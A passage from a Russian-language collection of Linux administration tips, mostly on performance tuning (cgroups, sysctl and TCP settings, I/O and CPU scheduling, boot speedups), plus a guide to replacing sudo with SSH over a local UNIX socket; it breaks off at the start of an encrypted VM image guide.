    Теперь необходимо чтобы процессы запущенные в системе распределялись по нужным
    группам. Это можно сделать с помощью менеджера правил cgred, конфигурационный
    файл которого расположен в /etc/cgrules.conf. Конфигурация для нашей задачи
    представлена ниже:
    
       <user>         <controllers>   <destination>
       *:tomcat        cpu             daemons/tomcat/
       *:postgres      cpu             daemons/postgres/
       *               cpu             default/
    
    Данные правила переносят все процессы с именем tomcat запущенных любым
    пользователем в группу daemons/tomcat, все процессы postgres в группу
    daemons/postgres и все остальные в default. Тем самым обеспечивая выполнения
    поставленной задачи.
    
    Для решения задачи использовалась только одна подсистема cpu, которая отвечает
    за распределение вычислительных ресурсов по группам. Кроме неё в debian по
    умолчанию доступны следующие группы: cpuacct - для отображения потребленных
    ресурсов CPU; cpuset - привязывает группу к конкретному процессору; ns -
    обеспечивает создание именованных пространств в которых допускается
    взаимодействие между процессами и запрещается взаимодействие между процессами
    из разных пространств; devices - позволяет ограничивать доступ к устройствам;
    freezer - позволяет приостанавливать выполнение задач; net_cls - тегирует
    сетевые пакеты, и далее с помощью traffic controller реализуются различные
    правила для этих пакетов.
    
     
    ----* Оптимизация отзывчивости десктоп-системы через использование cgroup в Linux (доп. ссылка 1) (доп. ссылка 2)   Автор: Stax  [комментарии]
     
    По заявлению одного из разработчиков из компании Red Hat добиться эффекта
    существенного повышения отзывчивости десктоп-систем в условиях большой фоновой
    нагрузки, связанной с запуском ресурсоемких задач, можно через использование
    cgroup без дополнительных патчей Linux-ядра. Более того, утверждается что
    cgroup-метод работает даже лучше патча с привязкой групп планирования к TTY.
    
    Метод проверен на Linux-ядре 2.6.32.
    
    В /etc/rc.local добавляем:
    
       mkdir -p /dev/cgroup/cpu
       mount -t cgroup cgroup /dev/cgroup/cpu -o cpu
       mkdir -m 0777 /dev/cgroup/cpu/user
    
    
    В ~/.bashrc:
    
       if [ "$PS1" ] ; then  
            mkdir -m 0700 /dev/cgroup/cpu/user/$$
            echo $$ > /dev/cgroup/cpu/user/$$/tasks
       fi
    
    Для автоматического удаления групп, в которых больше нет процессов:
    
    создать /usr/local/sbin/cgroup_clean
    
       #!/bin/sh
       rmdir /dev/cgroup/$1
    
    в rc.local добавить:
    
       echo "1" > /dev/cgroup/cpu/user/notify_on_release
       echo "/usr/local/sbin/cgroup_clean" > /dev/cgroup/cpu/release_agent
    
     
    ----* Тюнинг нагруженного CentOS севера при помощи ktune (доп. ссылка 1)   [комментарии]
     
    В репозитории CentOS присутствуетпакет ktune, содержащий набор готовых настроек
    для оптимизации работы ядра
    на машинах с большим размером ОЗУ в ситуациях повышенной сетевой и дисковой нагрузки.
    Например, ktune увеличивает размер TCP/IP буферов, включает планировщик ввода/вывода deadline, 
    устанавливает оптимальные значения для pagecache и т.п.
    Полный список настроек можно найти в файлах /etc/sysctl.ktune и /etc/sysconfig/ktune
    
    для активации  необходимо выполнить:
    
       yum install ktune
       chkconfig ktune on
       service ktune start
    
    Устанавливаются следующие sysctl:
    
       # Устанавливаем в 256 Кб размер буферов по умолчанию для приема и отправки данных через сокеты
       net.core.rmem_default = 262144
       net.core.wmem_default = 262144
    
       # Устанавливаем в 8Мб максимальный размер буфера сокетов.
       net.core.rmem_max = 8388608
       net.core.wmem_max = 8388608
    
      # Максимальный размер очереди пакетов для 10 гб или объединенных гигабитных линков
       net.core.netdev_max_backlog = 10000
    
       # Тюнинг буферов для TCP и UDP соединений (для машин с большим объемом ОЗУ)
       net.ipv4.tcp_rmem = 8192 87380 8388608
       net.ipv4.tcp_wmem = 8192 65536 8388608
    
       net.ipv4.udp_rmem_min = 16384
       net.ipv4.udp_wmem_min = 16384
    
       net.ipv4.tcp_mem = 8388608 12582912 16777216
       net.ipv4.udp_mem = 8388608 12582912 16777216
    
       # Понижаем приоритет начала своппинга
       vm.swappiness = 30
    
       # Начинаем принудительно чистить буферы, когда они занимают более 50% размера ОЗУ
       vm.dirty_ratio = 50
    
       # Ограничиваем размер файлового кеша, предотвращая начало свопинга
       vm.pagecache = 90
    
    
    Включаем deadline планировщик для диска sda:
       echo deadline > /sys/block/sda/queue/scheduler
    
     
    ----* Решение проблемы с потерей пакетов в tcpdump в Linux (доп. ссылка 1)   Автор: Kirill Korinsky  [комментарии]
     
    При записи пакетов используя tcpdump на больших скоростях возможна потеря пакетов.
    
    Для 1 гигабита помогли такие изменения в /etc/sysctl.conf:
    
       net.core.rmem_default = 33554432
       net.core.rmem_max = 33554432
       net.core.netdev_max_backlog = 16384
    
     
    ----* Уменьшение времени загрузки Ubuntu Linux (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    1. Уменьшение таймаута в grub,
    
       vi /boot/grub/menu.lst
       timeout=0
    
    или через GUI System -> Administration -> StartUp-Manager
    
    2. Отключаем ненужные сервисы:
    Меню System -> Preferences ->  Sessions (Сеансы)
    
    Например, можно отключить:
       Bluetooth Manager (Менеджер устройств Bluetooth)
       Check for new hardware drivers
       Evolution Alarm Notifier
       Print Queue Applet (Апплет очереди печати)
       Tracker (служба поиска и индексирования)
    
    Меню System -> Administration ->  Services (Службы)
    или через консольную утилиту sysv-rc-conf 
    Можно отключить загрузку редко используемых служб, например, RPC, NFS,
    avahi-daemon, cupsys, apport, ssh.
    
    3. Оптимизация монтирования файловых систем:
    в /etc/fstab добавляем опции "noatime,nodiratime", 
    
    
    4. Уменьшение интенсивности работы с свопом 
    в /etc/sysctl.conf добавляем vm.swappiness=10
    
    5. Включение возможности параллельного старта сервисов на этапе загрузки:
    в /etc/init.d/rc меняем CONCURRENCY=none на CONCURRENCY=shell
    
    6. Кэширование программ и библиотек используемых на этапе инициализации.
    
    Единоразово загружаем Ubuntu с передачей ядру параметра profile, на этапе работы grub, 
    который включает режим профилирования. Грузиться с этим флагом будет заведомо медленнее, 
    но при загрузке с флагом профилирования в Ubunti активируется сервис readahead, 
    который обновляет информацию о всех используемых на этапе загрузки библиотеках и утилитах 
    в файле /etc/readahead/boot, а в /etc/readahead/desktop - информацию о загрузке десктоп окружения. 
    При следующей загрузке сервис readahead, при помощи программы /sbin/readahead-list, 
    загрузит библиотеки и программы, 
    упоминающиеся в индексе, в page cache, что немного уменьшит время загрузки.
    
    7. Отключаем IPv6
    в /etc/modprobe.d/aliases заменяем строку "alias net-pf-10 ipv6" на 
    "alias net-pf-10 off #ipv6".
    
    7. Устанавливаем preload
       sudo apt-get install preload
       в установке prelink нет необходимости, так как в Ubuntu задейстован 
    альтернативный механизм линковки DT_GNU_HASH (http://lwn.net/Articles/192624/), 
    поддерживаемый в Glibc 2.5.
    
    Подробнее о включении prelink и preload см. http://www.opennet.dev/tips/info/1695.shtml
    
     
    ----* Уменьшение времени запуска программ в Ubuntu при помощи prelink и preload (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Prelink позволяет уменьшить время загрузки приложений, слинкованных со
    множеством динамических библиотек,
    путем оптимизации на уровне структуры ELF файла. 
    
    
       aptitude install prelink
       /etc/cron.daily/prelink
    
    
    Preload - другое средство уменьшения времени запуска, основанное на предварительной 
    загрузке в память наиболее интенсивно используемых данных, не дожидаясь непосредственного 
    запуска программы (эффективно для повторных запусков). 
    
       aptitude install preload
    
    Как правило конфигурация по умолчанию (/etc/preload.conf) не требует изменений, 
    но при желании можно обратить внимание на опции:
    
    model.cycle (по умолчанию 20 сек) - как часто будет инициирован анализ
    состояния системы и обновление кэша;
    
    model.halflife ( по умолчанию 168 часов) - через какое время данные в кэше
    будут считаться устаревшими
    (каждый halflife степень актуальности данных в кэше будет уменьшена на 50%);
    
    model.minsize (по умолчанию 2000000 байт) - минимальный объем данных прошедший
    через системные вызовы,
    необходимый для начала оптимизации приложения. Позволяет использовать preload
    только для крупных приложений.
    
    model.memtotal (-10%), model.memfree (100%), model.memcached (30%) - директивы
    определяющие степень использования ОЗУ для хранения кэша.
    Размер кэша рассчитывается по формуле: 
      model.memtotal * размер ОЗУ
      + model.memfree * размер свободной памяти во время запуска preload 
      + model.memcached * размер памяти отведенной под системный кэш (Cached).
    
    Состояние работы preload можно оценить через файл /var/lib/preload/preload.state
    
    Если prelink, как правило, запускается раз в день и модифицирует ELF файлы, 
    то preload оформлен в виде программы-демона, 
    постоянно наблюдающего за интенсивностью запуска программ и на основании 
    собранной статистики загружающего компоненты в память.
    Выигрыш от использования prelink для OpenOffice.org и Firefox около 15-20%, для preload - 50%.
    
     
    ----* Как минимизировать влияние бэкап-скрипта на интенсивность ввода/вывода в Linux (доп. ссылка 1)   [комментарии]
     
    Задача сделать так, чтобы выполнение скрипта для бэкапа не сказывалось на
    производительности приложений
    с интенсивными дисковыми операциями.
    Решение - понижение приоритета скрипта в планировщике ввода/вывода CFQ, который
    включен в Linux ядро,
    начиная с версии 2.6.13, и используется по умолчанию начиная с 2.6.18.
    
    Проверяем, что активный планировщик у нас CFQ:
    
       for d in /sys/block/sd[a-z]/queue/scheduler; do echo "$d => $(cat $d)" ; done
       Видим: /sys/block/sda/queue/scheduler => noop anticipatory deadline [cfq]
    
    Запускаем скрипт бэкапа с пониженным приоритетом:
     
       nice -n 19 ionice -c2 -n7 backup.sh
    
    утилитой nice с самым низким приоритетом вызываем утилиту ionice cо 2  классом планировки (
    1 - real time, 2 - нормальный режим, 3 - работа только в моменты простоя (idle)) 
    и самым низким уровнем приоритета (7).
    
    Если процесс все равно мешает, можем на лету перевести его в idle режим:
    
       ionice -c3 -p 1004
    
    или изменить приоритет планировщика:
       
       renice 19 -p 1004
    
    Где 1004 - PID процесса.
    
     
    ----* Как в Linux привязать процесс к CPU и установить атрибуты планирования (доп. ссылка 1)   [комментарии]
     
    При необходимости увеличить производительность определенного процесса в системе, 
    можно жестко привязать его к определенному CPU (CPU affinity), исключив 
    ситуацию мигрирования между процессорами, а также изменить для него алгоритм работы 
    планировщика задач и увеличить приоритет.
    
    Привязка к CPU осуществляется командой taskset, а изменение параметров  real-time 
    планирования командой chrt. Обе команды можно использовать каскадно, вызывая 
    одну в качестве аргумента другой. 
    
    Например:
    
       taskset -c 2-3 chrt -f 1 <command>
    
    привяжет выполнение команды к CPU со 2 по 3 ("-c 2-3", можно перечислять 
    процессоры через запятую, например, "-c 2,3"), а также задействует политику 
    планирования SCHED_FIFO ("-f") и установит приоритет 1 уровня. 
    
    Политики планирования (описание - man sched_setscheduler):
       -b SCHED_BATCH
       -f SCHED_FIFO 
       -o SCHED_OTHER
       -r SCHED_RR 
    
    Изменение параметров для уже запущенного процесса производится при помощи опции "-p". 
    Например, изменение параметров процесса с PID 123:
       taskset -c 2-3 -p 123
       chrt -f 1 -p 123
    
     
    ----* Оптимизация структуры директорий в файловых системах ext2 и ext3 (доп. ссылка 1)   [обсудить]
     
    Опция "-D" утилиты e2fsck позволяет выполнить переиндексацию при использовании
    dir_index (tune2fs -O +dir_index),
    иначе выполнить перекомпановку с сортировкой (когда было создано или удалено 
    большое количество директорий) и сокращением размера (когда в
    директории было много файлов, а потом их удалили).
    
    Пример запуска (/dev/sdb1 должен быть отмонтирован или переведен в режим только для чтения):
       # e2fsck -D -f /dev/sdb1
    
     
    ----* Ускорение работы сетевого интерфейса в Linux на SMP системах (доп. ссылка 1)   Автор: Kir Kolyshkin  [комментарии]
     
    Если привязать прерывание от сетевой карты на один CPU, то пропускная способность Fast Ethernet 
    возрастает примерно на 15% (измерения проводились на 2.4 ядре, но справедливо и для ядер 2.6).
    
    Определяем прерывание сетевой карты:
       cat /proc/interrupts
    Привязываем к определенному CPU:
       echo 2 > /proc/irq/NNN/smp_affinity
    где NNN -- прерывание от сетевухи, 2 - битовая маска для выборка CPU.
    если сетевухи две, для второй
       echo 4 > /proc/irq/MMM/smp_affinity
    
    Битовые маски: 1 - CPU1, 2 - CPU2, 4 - CPU3 и т.д.
    
    Подробнее см. Documentation/IRQ-affinity.txt
    
    При включении демона irqbalance значения smp_affinity выбираются динамически.
    
     
    ----* Приоритезация ввода/вывода в Linux (доп. ссылка 1)   Автор: Андрей Авраменко  [комментарии]
     
    Приоритеты для использования Disk I/O
    
    С выходом CFQ v3 в Linux 2.6.13 появилась возможность выставлять 
    приоритеты использования дисковой подсистемы для процессов, чего
     раньше так не хватало. Подобно утилите nice для назначение 
    приоритетов использования процессора появилась утилита ionice. 
    
    Синтаксис команды прост: 
    
       ionice -c класс -n приоритет -p PID
    
    Класс: 
    
    3 - Idle - Получает приоритет на использование жесткого диска только 
         когда другие программы ничего не пишут. Приоритеты не используются. 
    
    2 - Best Effort - Класс по-умолчанию. Доступные приоритеты [0-7]. 
    
    1 - Real Time - Дает преимущественный доступ к диску процессу, не
         смотря на другие процессы. Доступные приоритеты [0-7].
    
     
    ----* Как очистить кэш файловой системы в Linux ядре (доп. ссылка 1)   [комментарии]
     
    Начиная с Linux ядра 2.6.16 появилась возможность принудительной очистки системных кэшей:
    
    Чистим pagecache:
       echo 1 > /proc/sys/vm/drop_caches
    
    Чистим dentrie и inode кэши:
       echo 2 > /proc/sys/vm/drop_caches
    
    Чистим pagecache, dentrie и inode кэши:
       echo 3 > /proc/sys/vm/drop_caches
    
    Перед выполнением операции необходимо запустить команду sync
    
     
    ----* Тюнинг TCP стека в Linux (доп. ссылка 1)   [комментарии]
     
    Увеличиваем максимальный размер памяти отводимой для TCP буферов:
    (16Мб на порядок больше, чем нужно, следует экспериментальным путем подобрать 
    оптимальные значения, понеменогу увеличивая параметры заданные по умолчанию)
    
       sysctl -w net.core.rmem_max = 16777216
       sysctl -w net.core.wmem_max = 16777216
    
    Увеличиваем лимиты автотюнинга (min, default, max bytes)
    
       sysctl -w net.ipv4.tcp_rmem = "4096 87380 16777216" 
       sysctl -w net.ipv4.tcp_wmem = "4096 65536 16777216"
    
    Увеличиваем размер очереди пакетов на сетевом интерфейсе, особенно полезно для Gigabit Ethernet:
    
       ifconfig eth0 txqueuelen 1000
    
    
    Особенности Linux ядра 2.4.x:
    Для предотвращения особенности при уменьшении размера окна, из-за повторов передеачи пакетов, 
    для одного соединения, уменьшать на 10 минут размер окна для всех остальных
    соединений к тому же хосту:
    
       sysctl -w net.ipv4.route.flush=1
    
    Особенности Linux ядра 2.6.x:
    
    Запрещаем кеширование статуса ssthresh (были ретрансмиты) для других соединений
    
       sysctl -w net.ipv4.tcp_no_metrics_save = 1
    
    Рекомендуется увеличить размер backlog до 1000 или выше 
    (для 10Gb линка можно поставить 30000):   
    
       sysctl -w  net.core.netdev_max_backlog = 2500
    
    Начиная с ядра 2.6.13 можно менять алгоритм обработки ситуации перегрузки:
    
       sysctl -w net.ipv4.tcp_congestion_control=htcp
         reno: традиционный TCP
         bic: BIC-TCP (для высокоскоростных сетей, быстрое восстановление после потери)
         highspeed: HighSpeed TCP: Sally Floyd's suggested algorithm 
         htcp: Hamilton TCP (для высокоскоростных сетей)
         hybla: для спутниковых линков
         scalable: Scalable TCP 
         vegas: TCP Vegas 
         westwood: для сетей с большой потерей пакетов
    Когда стандартный reno не устраивает рекомендуется попробовать bic или htcp.
    
    Значения параметров тюнинга подробно описаны в документе ip-sysctl.txt в комплекте ядра:
       http://www-didc.lbl.gov/TCP-tuning/ip-sysctl-2.6.txt
    
     
    ----* Привязка процесса к определенному CPU в SMP системе под Linux (доп. ссылка 1)   Автор: nixcraft  [комментарии]
     
    Пример использования жесткой привязки процесса к определенному процессору  (CPU affinity).
    
    Устанавливаем пакет schedutils
    (Debian: apt-get install schedutils, Red Hat: up2date schedutils или rpm -ivh schedutils*)
    
    Привязка процесса с pid 13545 к первому CPU (#0):
       taskset -c 1 -p 13545
    к 3 и 4 CPU (#2 и #3):
       taskset -c 3,4 -p 13545
    
    Загрузку процессоров в SMP системе удобно оценивать через утилиту mpstat из пакета sysstat.
        mpstat -P ALL
    
    Утилизацию подсистемы ввода/вывода можно посмотреть через команду iostat
    
     
    ----* Как преодолеть ограничение в 32 группы на пользователя в Linux   [обсудить]
     
    В 2.2.x и 2.4.x Linux ядрах максимальное число групп в которые может входить
    один пользователь ограничено 32. Для 2.6.x лимит снят.
    Решение - пересборка ядра, при необходимости glibc и других утилит.
    Инструкции:
      http://radu.rendec.ines.ro/howto/32groups.html
      http://www.ussg.iu.edu/hypermail/linux/kernel/9907.1/0074.html
    
     
    ----* Как увеличить максимальное число процессов для 2.2.x Linux ядра   [обсудить]
     
    vi /usr/src/linux/include/linux/tasks.h
      #define NR_TASKS        512
      #define MAX_TASKS_PER_USER (NR_TASKS/2)
    
     
    ----* Чем хороши LVM, ext3, reiserfs и xfs (доп. ссылка 1)   Автор: Денис Смирнов  [комментарии]
     
    LVM - позволяет гибко создавать, удалять и изменять размеры разделов без потери данных. 
    
    ext3 - расширение ext2 для журналирования. Поддерживает журналирование данных,
    а не только метаданных (при data=journal).
    
    reiserfs - высокая скорость работы с каталогами с большим числом файлов,
    компактно хранит хвосты от файлов,
    поддерживает увеличение размера раздела без остановки сервера.
    
    xfs - быстрая работа с файлами большого размера, великолепная надёжность, поддержка ACL.
    
     
    ----* Включение Hyper-Threading scheduler в Linux, для CPU Xeon. (доп. ссылка 1)   [комментарии]
     
    Linux поддерживает Hyper-Threading начиная с ядра 2.4.17. 
       Ядро должно быть собрано как SMP,
       При загрузке, передаем параметр acpismp=force (в lilo: append=" acpismp=force")
        проверка работы: 
    cat /proc/cpuinfo, если среди flags есть "ht", то Hyper-Threading активирован.
    
     
    ----* Как оптимизировать подсистемы распределения памяти в Linux.   [обсудить]
     
    /usr/src/linux/Documenation/sysctl/vm.txt
    /usr/src/linux/Documenation/filesystems/proc.txt
    Параметры для работы демона bdflush (vm.bdflush)
       echo "100 2000 128 512 500 5000 60 0 0" > /proc/sys/vm/bdflush
    Управление объемом ОЗУ (в %) выделенного для системных буфферов (лучше не трогать)
       echo "70 10 60" > /proc/sys/vm/buffermem
    Максимальный размер сегмента shared memory.
       echo 167772160 > /proc/sys/kernel/shmmax # (def: 33554432)
    
     
    ----* Оптимизация TCP/IP стека в Linux для нагруженного сервера.   [комментарии]
     
    /usr/src/linux/Documenation/filesystems/proc.txt
    /usr/src/linux/Documenation/networking/ip-sysctl.txt
    Далее в скобках указаны значения по умолчанию для 2.2.x/2.4.x ядер.
    Если ядро собрано с CONFIG_SYNCOOKIES для защиты от syn флуда (net.ipv4.tcpsyn_cookies)
       echo 1 > /proc/sys/net/ipv4/tcp_syncookies #(0/0)
    Увеличиваем размер backlog очереди (аналог sysctl net.ipv4.tcp_max_syn_backlog).   
       echo 1280 > /proc/sys/net/ipv4/tcp_max_syn_backlog  #(128/1024)
    Число начальных SYN и SYNACK пересылок для TCP соединения (лучше не трогать).
       echo 4 > /proc/sys/net/ipv4/tcp_synack_retries #(x/5)
       echo 4 > /proc/sys/net/ipv4/tcp_syn_retries #(10/5)
    Какие порты использовать в качестве локальных TCP и UDP портов (sysctl net.ipv4.ip_local_port_range).
       echo "16384 61000" > /proc/sys/net/ipv4/ip_local_port_range #(1024 4999/32768 61000)
    Сколько секунд ожидать приема FIN до полного закрытия сокета.
       echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout #(180/60)
    Как часто посылать сообщение о поддержании keep alive соединения.
       echo 1800 > /proc/sys/net/ipv4/tcp_keepalive_time #(7200/7200)
    Сколько пакетов проверки keepalive посылать, прежде чем соединение будет закрыто.
       echo 2 > /proc/sys/net/ipv4/tcp_keepalive_probes #(9/9)
    Запрещаем TCP window scaling (net.ipv4.tcp_window_scaling)
       echo 0 > /proc/sys/net/ipv4/tcp_window_scaling #(1/1)
    Запрещаем selective acknowledgements, RFC2018 (net.ipv4.tcp_sack).
       echo 0 > /proc/sys/net/ipv4/tcp_sack #(1/1)
    Запрещаем TCP timestamps, RFC1323 (net.ipv4.tcp_timestamps)
       echo 0  > /proc/sys/net/ipv4/tcp_timestamps #(1/1)
    Увеличиваем размер буфера для приема и отправки данных через сокеты.
       echo 1048576 > /proc/sys/net/core/rmem_max #(65535/autotune)
       echo 1048576 > /proc/sys/net/core/rmem_default #(65535/autotune)
       echo 1048576 > /proc/sys/net/core/wmem_max #(65535/autotune)
       echo 1048576 > /proc/sys/net/core/wmem_default #(65535/autotune)
    Если не требуется форвадинг пакетов (машина не рутер) выключаем.
    (net.ipv4.ip_forward и  net.ipv4.conf.all.forwarding)
       echo 0 /proc/sys/net/ipv4/ip_forward #(0/0)
       echo 0 /proc/sys/net/ipv4/conf/all/forwarding #(0/0)
    Через какое время убивать соединеие закрытое на нашей стороне (net.ipv4.tcp_orphan_retries)
       echo 1 > /proc/sys/net/ipv4/tcp_orphan_retries #(x/7)
    
     
    ----* Оптимизация дисковой подсистемы в Linux   [обсудить]
     
    man hdparm (например: /sbin/hdparm -c3 -d1 -X34 /dev/hda)
    man elvtune           
    man tune2fs
       echo 128000 > /proc/sys/fs/inode-max # def 16384
       echo 64000 > /proc/sys/fs/file-max  # def 4096 Число одновременно открытых файлов.
      cd /proc/sys/fs/ (в 2.4.x работает автотюнинг)
      /usr/src/linux/Documentation/sysctl/fs.txt
      /usr/src/linux/Documentation/filesystems/proc.txt
    
     
    ----* Как под Linux создать ramdisk большого размера для использования в качестве временного хранилища.   [комментарии]
     
    Советую использовать tmpfs или ramfs
    (разница в том, что данные tmpfs подвержены своппингу, ramfs  создана для
    тестов, а ramdisk всегда хранится в ОЗУ)
    /usr/src/linux/Documentation/filesystems/tmpfs.txt
        mount -t tmpfs -osize=256M /dev/shm1 /mnt1
    Для ramfs:
         mount -t ramfs -omaxsize=256M none /mnt1
    Если желание использовать ramdisk осталось, читаем 
    /usr/src/linux/Documentation/ramdisk.txt
        mkdir /ramdisk
    Для 256Мб ramdisk в lilo.conf добавляем:
        append="ramdisk_size=256000"
    Запускаем lilo и перезагружаем машину.
       mke2fs /dev/ram0
       mount -t -ext2 /dev/ram0 /ramdisk
    
     
    ----* Как увеличить количество shared memory для работы высоконагруженного PostgreSQL   [комментарии]
     
    В linux:
    echo 134217728 >/proc/sys/kernel/shmall
    echo 134217728 >/proc/sys/kernel/shmmax
    В конфиге ядра FreeBSD:
    options         SYSVSHM
    options         SHMMAXPGS=4096
    options         SHMMAX="(SHMMAXPGS*PAGE_SIZE+1)"
    options         SHMMIN=2    
    options         SHMMNI=256
    options         SHMSEG=256  
    options         SYSVSEM     
    options         SEMMAP=512  
    options         SEMMNI=512  
    options         SEMMNS=1024 
    options         SEMMNU=512  
    options         SEMMSL=256  
    options         SEMOPM=256  
    options         SEMUME=64   
    options         SYSVMSG     
    options         MSGMNB=8192 
    options         MSGMNI=256  
    options         MSGSEG=8192 
    options         MSGSSZ=16   
    options         MSGTQL=128  
    options         NMBCLUSTERS=16786
    options         NBUF=2048
    maxusers        512
    
     
    ----* Эксперименты по борьбе с утечками памяти Telegram Desktop (доп. ссылка 1)   Автор: nuclight  [комментарии]
     
    Известны жалобы о больших утечках памяти в Telegram Desktop на Linux, не
    наблюдаемых в таких же объемах на других ОС, в частности Windows и FreeBSD. В
    рамках проверки гипотезы о том, что дело в реализации системного аллокатора и
    настройках автопроигрывания медиа, помогающие автору TDesktop энтузиасты
    создали канал https://t.me/tdesktop_crash, продолжительная прокрутка которого
    должна приводить к утечкам памяти. При этом при нормальном поведении закрытие
    этого окна (переключение на другой чат) должна освобождать память.
    
    Выяснилось, что на Windows при переключении чата память освобождается, на
    обычном Linux glibc - не освобождаются несколько Гб, но происходит почти полное
    освобождение через некоторое время, если запустить Telegram Desktop с
    аллокатором jemalloc из FreeBSD (пример для Debian, подробности
    см. в документации jemalloc):
    
      LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libjemalloc.so.2 telegram-desktop
    
    Аналогичные (или даже лучше) результаты были получены на дистрибутивах без
    glibc, например Alpine, где применяется musl.
    
    Поскольку в разных дистрибутивах могут быть разные политики по сборке
    (статически и без), и майнтейнеры могут испытывать проблемы с включением
    решения, а современные аллокаторы сложны, и, возможно, glibc malloc может быть
    соответствующим образом настроен, к экспериментам и помощи приглашаются знатоки.
    
     
    ----* Решение проблемы с повышенным энергопотреблением при использовании Linux-ядер 2.6.38 и 2.6.39 (доп. ссылка 1)   [комментарии]
     
    В используемом в Ubuntu 11.04 и Fedora 15 Linux-ядре 2.6.38, а также в 2.6.39 и
    тестовых версиях 3.0-rc наблюдается возрастание энергопотребления на 10-30%.
    Кроме Phoronix подобная тенденция наблюдалась в тестах издания Tom's Hardware.
    
    По предварительным данным, одна из приводивших к повышению энергопотребления проблем
    связана
     с изменением в коде поддержки ASPM (Active-State Power Management) для плат
    PCI Express, который стал активироваться только при сигнализации о поддержке
    ASPM со стороны BIOS (определенные реализации BIOS указывают, что ASPM  не
    поддерживается, но все равно инициализирует данную поддержку для некоторых устройств).
    
    Экспериментальным путем был выявлен обходной путь решения проблемы, который
    позволяет уменьшить энергопотребление в среднем на 15%. Для решения проблемы
    систему следует загрузить передав ядру в интерфейсе загрузчика GRUB параметр "pcie_aspm=force".
    
     

       Увеличение безопасности Linux

    ----* Использование SSH поверх UNIX-сокета вместо sudo (доп. ссылка 1)   [комментарии]
     
    Тимоти Равье (Timothee Ravier) из компании Red Hat, мэйнтейнер проектов Fedora
    Silverblue и Fedora Kinoite, предложил заслуживающий внимания способ ухода
    от применения утилиты sudo, использующей  suid-бит для повышения привилегий.
    Вместо sudo для выполнения обычным пользователем команд с правами root
    предлагается задействовать утилиту ssh с локальным соединением к той же системе
    через UNIX-сокет.
    
    Проверка полномочий осуществляется на основе SSH-ключей. Для ограничения доступ
    дополнительно может быть задействовано подтверждение полномочий при помощи
    USB-токена (например, Yubikey). Использование ssh вместо sudo позволяет
    избавиться от suid-программ в системе и организовать  выполнение
    привилегированных команд в хост-окружении дистрибутивов, использующих
    контейнерную изоляцию компонентов, таких как Fedora Silverblue, Fedora Kinoite,
    Fedora Sericea и Fedora Onyx.
    
    Настраиваем серверные компоненты OpenSSH для доступа через локальный Unix-сокет
    (будет запускаться отдельный экземпляр sshd со своим файлом конфигурации):
    
    /etc/systemd/system/sshd-unix.socket:
    
       [Unit]
       Description=OpenSSH Server Unix Socket
       Documentation=man:sshd(8) man:sshd_config(5)
    
       [Socket]
       ListenStream=/run/sshd.sock
       Accept=yes
    
       [Install]
       WantedBy=sockets.target
    
    
    
    /etc/systemd/system/sshd-unix@.service:
    
       [Unit]
       Description=OpenSSH per-connection server daemon (Unix socket)
       Documentation=man:sshd(8) man:sshd_config(5)
       Wants=sshd-keygen.target
       After=sshd-keygen.target
    
       [Service]
       ExecStart=-/usr/sbin/sshd -i -f /etc/ssh/sshd_config_unix
       StandardInput=socket
    
    
    /etc/ssh/sshd_config_unix:
    
       # Оставляет только аутентификацию по ключам
       PermitRootLogin prohibit-password
       PasswordAuthentication no
       PermitEmptyPasswords no
       GSSAPIAuthentication no
    
       # ограничиваем доступ выбранным пользователям
       AllowUsers root adminusername
    
       # Оставляем только использование .ssh/authorized_keys (без .ssh/authorized_keys2
       AuthorizedKeysFile .ssh/authorized_keys
    
       # включаем sftp
       Subsystem sftp /usr/libexec/openssh/sftp-server
    
    
    Активируем и запускаем юнит systemd:
    
       sudo systemctl daemon-reload
       sudo systemctl enable --now sshd-unix.socket
    
    
    Добавляем свой SSH-ключ в /root/.ssh/authorized_keys
    
    
    Настраиваем работу SSH-клиента.
    
    Устанавливаем утилиту socat:
    
       sudo dnf install socat
    
    Дополняем /.ssh/config, указав socat в качестве прокси для доступа через UNIX-сокет:
    
       Host host.local
           User root
           # Используем /run/host/run вместо /run для работы из контейнеров
           ProxyCommand socat - UNIX-CLIENT:/run/host/run/sshd.sock
    
           # Путь к SSH-ключу
           IdentityFile ~/.ssh/keys/localroot
    
           # Включаем поддержку TTY для интерактивной оболочки
           RequestTTY yes
    
           # Убираем лишний вывод
           LogLevel QUIET
    
    В текущем виде пользователь adminusername теперь сможет выполнить команды с
    правами root без ввода пароля. Проверяем работу:
    
       $ ssh host.local
       [root ~]#
    
    
    Создаём в bash псевдоним sudohost для запуска "ssh host.local" по аналогии с sudo:
    
       sudohost() {
           if [[ ${#} -eq 0 ]]; then
               ssh host.local "cd \"${PWD}\"; exec \"${SHELL}\" --login"
           else
               ssh host.local "cd \"${PWD}\"; exec \"${@}\""
           fi 
       }
    
    Проверяем:
    
       $ sudohost id
       uid=0(root) gid=0(root) groups=0(root) 
    
    
    Добавляем проверку полномочий и включаем двухфакторную аутентификацию,
    допускающую доступ к root только при вставке USB-токена Yubikey.
    
    Проверяем, какие алгоритмы поддерживает  имеющийся Yubikey:
    
       lsusb -v 2>/dev/null | grep -A2 Yubico | grep "bcdDevice" | awk '{print $2}'
    
    Если выведено 5.2.3 или большее значение, используем ed25519-sk при генерации
    ключей, иначе - ecdsa-sk:
    
       ssh-keygen -t ed25519-sk
    или
       ssh-keygen -t ecdsa-sk
    
    Добавляет открытый ключ в /root/.ssh/authorized_keys
    
    Добавляем привязку к типу ключа в конфигурацию sshd:
    
    /etc/ssh/sshd_config_unix:
    
       PubkeyAcceptedKeyTypes sk-ecdsa-sha2-nistp256@openssh.com,sk-ssh-ed25519@openssh.com
    
    Ограничиваем доступ к Unix-сокету только пользователя, которому можно повышать
    привилегии (в нашем примере - adminusername). В
    /etc/systemd/system/sshd-unix.socket добавляем:
    
       [Socket]
       ...
       SocketUser=adminusername
       SocketGroup=adminusername
       SocketMode=0660
    
     
    ----* Создание шифрованных образов виртуальных машин (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Инструкция по созданию полностью зашифрованного образа гостевой системы, в
    котором шифрование охватывает корневой раздел и стадию загрузки.
    
    Извлекаем содержимое корневого раздела образа виртуальной машины, который
    требуется зашифровать,  в tar-архив vm_root.tar. Проверяем, чтобы в образе были
    необходимые для шифрования и EFI-загрузки разделов утилиты, такие как
    cryptodisk и grub-efi.
    
    Создаём файл с дисковым образом, содержащим два раздела - небольшой раздел для
    EFI (p1, 100МБ)  и корневой раздел, содержимое которого будет зашифровано (p2).
